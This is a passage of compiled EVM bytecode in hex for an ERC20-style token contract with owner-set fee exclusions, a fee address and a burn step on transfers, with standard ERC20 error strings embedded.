ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5457600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f318c131114339c004fff0a22fcdbbc0566bb2a7cd3aa1660e636ec5a66784ff28282604051610edc929190611caf565b60405180910390a15050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f4257600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290611e15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561111b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111290611d55565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f99190611e75565b60405180910390a3505050565b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90611d95565b60405180910390fd5b600860149054906101000a900460ff1615806112da5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061132e5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113435761133e8383836115ba565b6113e1565b600061135082601961084f565b90506007548161135e610598565b6113689190611fd1565b1061137c5761137784826113e6565b611381565b600090505b600061138e8360c861084f565b90506113bd85600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836115ba565b6113de85858484876113cf9190611fd1565b6113d99190611fd1565b6115ba565b50505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90611dd5565b60405180910390fd5b61146282600083611839565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df90611d35565b60405180910390fd5b81816114f49190611fd1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546115489190611fd1565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115ad9190611e75565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561162a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162190611df5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561169a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169190611d15565b60405180910390fd5b6116a5838383611839565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561172b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172290611d75565b60405180910390fd5b81816117379190611fd1565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117c79190611ef0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161182b9190611e75565b60405180910390a350505050565b505050565b60008135905061184d816124ae565b92915050565b600081359050611862816124c5565b92915050565b600081359050611877816124dc565b92915050565b60008135905061188c816124f3565b92915050565b6000602082840312156118a457600080fd5b60006118b28482850161183e565b91505092915050565b6000602082840312156118cd57600080fd5b60006118db84828501611853565b91505092915050565b600080604083850312156118f757600080fd5b60006119058582860161183e565b92505060206119168582860161183e565b9150509250929050565b60008060006060848603121561193557600080fd5b60006119438682870161183e565b93505060206119548682870161183e565b92505060406119658682870161187d565b9150509250925092565b6000806040838503121561198257600080fd5b60006119908582860161183e565b92505060206119a185828601611868565b9150509250929050565b600080604083850312156119be57600080fd5b60006119cc8582860161183e565b92505060206119dd8582860161187d565b9150509250929050565b6000602082840312156119f957600080fd5b6000611a0784828501611868565b91505092915050565b600060208284031215611a2257600080fd5b6000611a308482850161187d565b91505092915050565b60008060408385031215611a4c57600080fd5b6000611a5a8582860161187d565b9250506020611a6b8582860161187d565b9150509250929050565b611a7e81612005565b82525050565b611a8d81612029565b82525050565b6000611a9e82611ed4565b611aa88185611edf565b9350611ab881856020860161206c565b611ac18161215e565b840191505092915050565b6000611ad9602383611edf565b9150611ae48261216f565b604082019050919050565b6000611afc602283611edf565b9150611b07826121be565b604082019050919050565b6000611b1f602283611edf565b9150611b2a8261220d565b604082019050919050565b6000611b42602683611edf565b9150611b4d8261225c565b604082019050919050565b6000611b65602483611edf565b9150611b70826122ab565b604082019050919050565b6000611b88602883611edf565b9150611b93826122fa565b604082019050919050565b6000611bab602183611edf565b9150611bb682612349565b604082019050919050565b6000611bce602583611edf565b9150611bd982612398565b604082019050919050565b6000611bf1602483611edf565b9150611bfc826123e7565b604082019050919050565b6000611c14601f83611edf565b9150611c1f82612436565b602082019050919050565b6000611c37602583611edf565b9150611c428261245f565b604082019050919050565b611c5681612055565b82525050565b611c658161205f565b82525050565b6000602082019050611c806000830184611a75565b92915050565b6000604082019050611c9b6000830185611a75565b611ca86020830184611a75565b9392505050565b6000604082019050611cc46000830185611a75565b611cd16020830184611a84565b9392505050565b6000602082019050611ced6000830184611a84565b92915050565b60006020820190508181036000830152611d0d8184611a93565b905092915050565b60006020820190508181036000830152611d2e81611acc565b9050919050565b60006020820190508181036000830152611d4e81611aef565b9050919050565b60006020820190508181036000830152611d6e81611b12565b9050919050565b60006020820190508181036000830152611d8e81611b35565b9050919050565b60006020820190508181036000830152611dae81611b58565b9050919050565b60006020820190508181036000830152611dce81611b7b565b9050919050565b60006020820190508181036000830152611dee81611b9e565b9050919050565b60006020820190508181036000830152611e0e81611bc1565b9050919050565b60006020820190508181036000830152611e2e81611be4565b9050919050565b60006020820190508181036000830152611e4e81611c07565b9050919050565b60006020820190508181036000830152611e6e81611c2a565b9050919050565b6000602082019050611e8a6000830184611c4d565b92915050565b6000604082019050611ea56000830185611c4d565b611eb26020830184611c4d565b9392505050565b6000602082019050611ece6000830184611c5c565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611efb82612055565b9150611f0683612055565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611f3b57611f3a6120d1565b5b828201905092915050565b6000611f5182612055565b9150611f5c83612055565b925082611f6c57611f6b612100565b5b828204905092915050565b6000611f8282612055565b9150611f8d83612055565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611fc657611fc56120d1565b5b828202905092915050565b6000611fdc82612055565b9150611fe783612055565b925082821015611ffa57611ff96120d1565b5b828203905092915050565b600061201082612035565b9050919050565b600061202282612035565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561208a57808201518184015260208101905061206f565b83811115612099576000848401525b50505050565b600060028204905060018216806120b757607f821691505b602082108114156120cb576120ca61212f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f742073656e6420746f6b656e7320746f20746f6b656e20636f6e7460008201527f7261637400000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f746f74616c20737570706c792065786365656473206d696e20737570706c7900600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6124b781612005565b81146124c257600080fd5b50565b6124ce81612017565b81146124d957600080fd5b50565b6124e581612029565b81146124f057600080fd5b50565b6124fc81612055565b811461250757600080fd5b5056fea2646970667358221220a87cc08be3de02027443273ee5801a4af8e027df8e4e3b67a1481f239c3289df64736f6c63430008040033
[ 38 ]